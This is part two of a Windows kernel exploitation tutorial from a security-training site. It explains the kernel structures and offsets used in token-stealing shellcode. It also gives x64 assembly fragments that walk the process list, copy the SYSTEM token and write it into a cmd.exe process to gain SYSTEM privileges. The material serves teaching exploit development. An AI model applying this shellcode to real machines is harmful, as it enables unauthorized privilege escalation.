Kernel Exploitation: Advanced

Security Ninja
September 18, 2017 by
Security Ninja

In Part 1 of this article series, we had reverse engineered the driver and identified buffer overflow vulnerability in it. In this part, we will cover the next step of developing the exploit, and for that, we will have to go through various structures and offset. Since this a kernel land exploitation, a typical MSFvenom shellcode will not work.

The exploitation end goal is to steal the token from a process with system level privileges, i.e., we will be looking at ways to steal the SYSTEM token. Like standard buffer flows, we will be redirecting the execution flow, and in this case, we will redirect the driver execution flow to an area that will contain the token stealing shellcode. We will draft the shellcode step by step by looking at various structures:

Earn two pentesting certifications at once!

Earn two pentesting certifications at once!

Enroll in one boot camp to earn both your Certified Ethical Hacker (CEH) and CompTIA PenTest+ certifications — backed with an Exam Pass Guarantee.

Let's begin with structures and some basics:

  • KPCR: Kernel Processor Control Region is a structure which contains information about the processor. Since it is always available at gs:[0](in 64 bit ), so the opcodes can be directly used even for the code which is position independent. There is a KPCR for each processor. Below is the structure of the KPCR

We are interested in the last element in the structure which is Prcb at offset 0x180. So currently the code will be gs:[0]+ 180

  • KPCRB: Below is the structure of Kernel Processor Control Region Block and we can see that it gives us member Current Thread which can tell us about currently executing thread. It is at an offset 0x008, so we can now say that gs:[180]+8 points to KTHREAD structure.

Below is the shellcode for this so far


mov rdx, [gs: 188h] // this involves pointer till KPCRB structure

So far, we have been able to traverse to the currently executing thread by the processor. Now we need to find the processes attached to that structure

  • KTHREAD: KTHREAD structure is the kernel portion of the larger ETHREAD structure. Its APCState member is what we are interested in, which is the structure type _KAPC_STATE. Below is the structure of KTHREAD.


  • _KAPC_STATE: Below is the _KAPC_STATE structure and we can see an entry Process of type _KPROCESS and is at offset 0x020. This is exactly what we are after.

Let build where we are at this point from a code perspective.

mov r8, [rdx + 70h] // this involves pointer to KTHREAD

KPROCESS: KPROCESS Structure is the kernel mode part of the larger EPROCESS structure whose structure is shown below. As we can see, there is a lot of useful information here.

Important ones are at offset 0x180 which is UniqueProcessId. We have to look out for a process with a stable process id with system level token. And luckily, we have System Process with all those attributes (constant PID:4 and SYSTEM level token).

Another Important one is ActiveProcessLink. This member is at offset 0x188 and is a doubly linked list which points to all the active processes on the system. Since we are after the SYSTEM process, we need to traverse the double linked list here. So, let's restore the head of the list and then traverse it with pointers to next process. Code for this will be like below:

mov r9, [r8 + 188h] // r8 points to head of EPROCESS and 188h is the offset for ActiveProcessLink

mov rcx,[r9] // pointer to the next process in the list

Since we need to keep traversing it, we will form a function for traversing:


Mov rdx, [rcx-8] // since UniqueProcessId is -8 from ActiveProcessLink.

Cmp rdx, 4 // Since rdx now contains the PID. Comparing it with SYSTEM process PID:4

Jz <SYSTEM_process_found> // if found, jmp to SYSTEM_process_found stub (discussed below)

Mov rcx ,[rcx] // moving the current rcx pointer (which points to next process)

Jmp System_process_enumerate // continue enumeration

The last important member that we are interested in is Token which is at offset 0x208 and is an EX_FAST_REF structure. If we look at this structure then, all the three members of this are at an offset 0x000 which implies it implemented as a union in C.

Above we can see that the first member is a pointer to the object. Since we are dealing with 64 bit and memory is aligned on a 16-byte boundary, so RefCnt field occupies the last 4 bits and thus must be cleared.

A sample demonstration is below

SYSTEM_process_found: // reference from SYSTEM_process_enumerate

Mov rax, [rcx + 80h] //saving the token of the process

And al, 0f0h // clearing the four lower bits

Since we got the SYSTEM process token, now we should repeat the same for the process with which we have to insert the token into. In this case, we will spawn a cmd.exe process and gets its PID and then look for it in the ActiveProcessLink. The code to spawn a cmd.exe and extract its PID will be shown in the final code and now let's assume the PID to be 4444. Below is the code for cmd.exe


Mov rdx, [rcx-8] // since UniqueProcessId is -8 from ActiveProcessLink.

Cmp rdx, 4444 // Since rdx now contains the PID . PID of cmd 4444(assume it for now)

Jz <CMD_process_found> // if found, jmp to SYSTEM_process_found stub (discussed below)

Mov rcx ,[rcx] // moving the current rcx pointer (which points to next process)

Jmp CMD_process_enumerate // continue enumeration


Mov [rcx+80h], rax // moving the SYSTEM token in rax to CMD token

What should you learn next?

What should you learn next?

From SOC Analyst to Secure Coder to Security Manager — our team of experts has 12 free training plans to help you hit your goals. Get your free copy now.

I think this is enough to digest for this article and in the final article of this series we will look at the final step of preparing our shellcode and then assemble the whole shellcode and insert into the code and fix other things.

Security Ninja
Security Ninja